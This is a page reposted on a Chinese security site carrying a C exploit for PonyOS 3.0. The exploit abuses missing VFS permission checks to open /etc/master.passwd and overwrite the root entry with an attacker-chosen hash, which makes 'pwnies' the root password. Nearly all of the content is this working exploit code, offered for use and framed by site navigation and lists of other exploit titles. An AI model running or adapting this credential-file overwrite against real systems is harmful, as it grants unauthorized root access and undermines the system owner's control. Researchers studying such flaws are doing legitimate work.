首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PonyOS 3.0 VFS Privilege Escalation
来源:http://blog.mdsec.co.uk 作者:Fantastic 发布时间:2015-06-02  
# Exploit Title: PonyOS <= 3.0 VFS permissions exploit
# Google Dork: [if applicable]
# Date: 29th May 2015
# Exploit Author: Hacker Fantastic
# Vendor Homepage: www.ponyos.org
# Software Link: [download link if available]
# Version: 3.0
# Tested on: 3.0
# CVE : N/A
 
# Source: https://github.com/HackerFantastic/Public/blob/master/exploits/rarity.c
 
/* MyLittleUnix <= 3.0 VFS permissions root exploit 
   ================================================
   File permissions are not checked, we can abuse 
   this to replace the root user password with our
   own and escalate our privileges. This exploit 
   now 20% cooler and tested on latest 3.0 mlp OS.
 
   -- prdelka
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
 
char* pwnystr = "root:07821d2459368443042007bf1c7cdf3c55284"
        "29a65f8f10ce388d301b47865a283147bfd290545b"
        "0b9b12ae622a8eb359497cb3635506f99d2f5e4c4e"
        "594cadd:0:0:HackerFantastic:/home/root:/bi"
        "n/sh:fancy\n";
 
int main(){
    int fd, r;
    struct stat *fileinfo = malloc(sizeof(struct stat));
    char *buffer, *line, *filenm = "/etc/master.passwd";
    printf("[+] MyLittleUnix <=3.0 VFS permissions local root exploit\n");
    fd = open(filenm,O_RDWR);
    r = stat(filenm,fileinfo);
    buffer = malloc((uint)fileinfo->st_size);
    if(buffer){
        read(fd,buffer,fileinfo->st_size);
    }
    else{
        printf("[!] No pwn for you pwnie\n");
        exit(0);
    }
    lseek(fd,0,SEEK_SET);
    line = strtok(buffer,"\n");
    while(line){
        if(strstr(line,"root:")){
            write(fd,pwnystr,strlen(pwnystr));
        }
        else{
            write(fd,line,strlen(line));
            write(fd,"\n",strlen("\n"));
        }
        line = strtok(NULL,"\n");
    }
    close(fd);
    printf("[-] 20percent COOLER! user 'root' password is 'pwnies'\n");
    exit(0);
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PonyOS <= 3.0 - ELF Loader Pri
·WebDrive 12.2 Buffer Overflow
·Realtek SDK Miniigd UPnP SOAP
·IBM Security AppScan 9.0.2 Rem
·Airties login-cgi Buffer Overf
·D-Link Devices HNAP SOAPAction
·D-Link Devices UPnP SOAPAction
·Microsoft Windows - Local Priv
·Private Shell SSH Client 3.3 -
·PonyOS <= 3.0 - tty ioctl() Lo
·Apport/Ubuntu - Local Root Rac
·Seagate Central 2014.0410.0026
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved